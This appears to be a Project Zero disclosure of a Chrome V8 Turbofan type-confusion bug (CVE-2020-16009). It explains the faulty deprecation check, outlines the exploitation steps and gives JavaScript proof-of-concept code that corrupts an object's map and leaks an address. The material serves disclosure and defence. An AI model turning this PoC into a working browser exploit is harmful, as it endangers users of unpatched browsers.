Chrome V8 Turbofan Type Confusion

`V8: Turbofan fails to deoptimize code after map deprecation, leading to type confusion  
  
NOTE: We have evidence that the following bug is being used in the wild. Therefore, this bug is subject to a 7 day disclosure deadline.  
  
VULNERABILITY DETAILS  
  
When turbofan compiles code that performs a Map transition, it usually installs a CodeDependency so that the resulting code is deoptimized should the target Map ever be deprecated (meaning that the code should now transition to a different Map). This is done through the TransitionDependencyOffTheRecord function [1]. This function will only install the dependency if the target Map can be deprecated, which is determined by Map::CanBeDeprecated [2], shown next  
  
bool Map::CanBeDeprecated() const {  
for (InternalIndex i : IterateOwnDescriptors()) {  
PropertyDetails details = instance_descriptors(kRelaxedLoad).GetDetails(i);  
if (details.representation().IsNone()) return true;  
if (details.representation().IsSmi()) return true;  
if (details.representation().IsDouble() && FLAG_unbox_double_fields) <---  
return true;  
if (details.representation().IsHeapObject()) return true;  
if (details.kind() == kData && details.location() == kDescriptor) {  
return true;  
}  
}  
return false;  
}  
  
As can be seen, this function assumes that a Map storing only fields of type Double or Tagged can not be deprecated if FLAG_unbox_double_fields is false, which is the case if pointer compression is enabled (the default on x64). This appears to be incorrect, as the following code demonstrated:  
  
// Requires --nomodify-field-representation-inplace  
  
function poc() {  
function hax(o) {  
o.a = 13.37;  
}  
  
let o1 = {};  
for (let i = 0; i < 100000; i++) {  
let o = i == 1000 ? {} : o1;  
hax(o);  
}  
  
let o2 = {};  
o2.a = {};  
// Map1 is now deprecated  
// %HaveSameMap(o2, o1) === false  
  
let o3 = {};  
hax(o3);  
// o3 was now transitioned to a deprecated map  
%DebugPrint(o3);  
// ...  
// - deprecated_map  
}  
%NeverOptimizeFunction(poc);  
poc();  
  
This code ends up performing a new transition to a deprecated map.  
  
This bug can be exploited when combined with the in-place field generalization mechanism. In short, the idea is to  
  
1. JIT compile a function that performs a transition from map1{a:double} to map2{a:double,b:whatever}  
2. Deprecate map2. This does not deoptimize the JIT code since map2 was thought to not be deprecatable  
3. In-place generalize map1.a to type tagged. This will not also generalize map2 since it is deprecated.  
4. Execute the JIT code. This will effectively transition from map1{a:tagged} to map2{a:double,b:whatever}, which is incorrect and results in a type confusion.  
  
The following code achieves that and causes a check failure in debug builds: \"Debug check failed: value.IsHeapNumber().\" while printing (presumably) an address in release builds.  
  
REPRODUCTION CASE  
// Tested on v8 built from current HEAD (dd84c3937058b086b6b7a412ac352179e20bd9c7)  
// Requires --allow-natives-syntax  
  
function assert(c) {  
if (!c) { throw \"Assertion failed\"; }  
}  
  
function assertFalse(c) {  
assert(!c);  
}  
  
function poc() {  
function hax(o) {  
o.c = 13.37;  
}  
  
function makeObjWithMap5() {  
let o = {};  
o.a = 13.37;  
o.b = {};  
return o  
}  
  
// Create a bunch of Maps. See the assertions for their relationships  
  
let m1 = {};  
  
let m2 = {};  
assert(%HaveSameMap(m2, m1));  
m2.a = 13.37;  
  
let m3 = {};  
m3.a = 13.37;  
assert(%HaveSameMap(m3, m2));  
m3.b = 1;  
  
let m4 = {};  
m4.a = 13.37;  
m4.b = 1;  
assert(%HaveSameMap(m4, m3));  
m4.c = {};  
  
let m4_2 = {};  
m4_2.a = 13.37;  
m4_2.b = 1;  
m4_2.c = {};  
assert(%HaveSameMap(m4_2, m4));  
  
let m5 = {};  
m5.a = 13.37;  
assert(%HaveSameMap(m5, m2));  
m5.b = 13.37;  
assertFalse(%HaveSameMap(m5, m3));  
  
// At this point, Map3 and Map4 are both deprecated. Map2 transitions to Map5.  
// Map5 is the migration target for Map3. The Migration target for Map4 is a new Map  
assertFalse(%HaveSameMap(m5, m3));  
  
let m6 = makeObjWithMap5();  
assert(%HaveSameMap(m6, m5));  
hax(m6);  
  
let kaputt = makeObjWithMap5();  
assert(%HaveSameMap(kaputt, m5));  
  
for (let i = 0; i < 100000; i++) {  
let o = i == 1337 ? makeObjWithMap5() : m6;  
hax(o);  
}  
  
// Map4 is deprecated, so this property access triggers a Map migration.  
// This will end up creating a new Map, Map7, to which both Map4 and Map6  
// migrate. Map5's transition entry afterwards points to Map7 and no  
// longer to Map6. Map6 is deprecated.  
let m7 = m4_2;  
assert(%HaveSameMap(m7, m4));  
m7.c;  
assertFalse(%HaveSameMap(m7, m4));  
  
// However, hax was not deoptimized and still transitions to Map6 because  
// Map::CanBeDeprecated returns false for it.  
  
// This does a in-place map generalization of Map5 and Map7, but not Map6.  
// Map6 still indicates that .a should be a double field.  
kaputt.a = \"asdf\";  
assert(%HaveSameMap(kaputt, m5));  
  
// This now migrates to the wrong map (Map6) because hax was not deoptimized.  
// This is incorrect because .a now stores a HeapObject and not a double.  
hax(kaputt);  
  
// This now fails in debug builds  
%HeapObjectVerify(kaputt);  
  
// This prints (presumably) an address in release builds  
console.log(kaputt.a);  
}  
%NeverOptimizeFunction(poc);  
  
poc();  
  
  
CREDIT INFORMATION  
Clement Lecigne of Google's Threat Analysis Group and Samuel Gro\u00df of Google Project Zero  
  
NOTE: We have evidence that the following bug is being used in the wild. Therefore, this bug is subject to a 7 day disclosure deadline.  
  
[1] https://source.chromium.org/chromium/chromium/src/+/master:v8/src/compiler/compilation-dependencies.cc;l=641;drc=b4ed955a8e69c4f5fad8fc5ead483571298f1a81;bpv=1;bpt=1  
[2] https://source.chromium.org/chromium/chromium/src/+/master:v8/src/objects/map-inl.h;l=563;drc=b4ed955a8e69c4f5fad8fc5ead483571298f1a81;bpv=1;bpt=1  
  
  
Related CVE Numbers: CVE-2020-16009.  
  
  
  
Found by: [email protected]  
  
`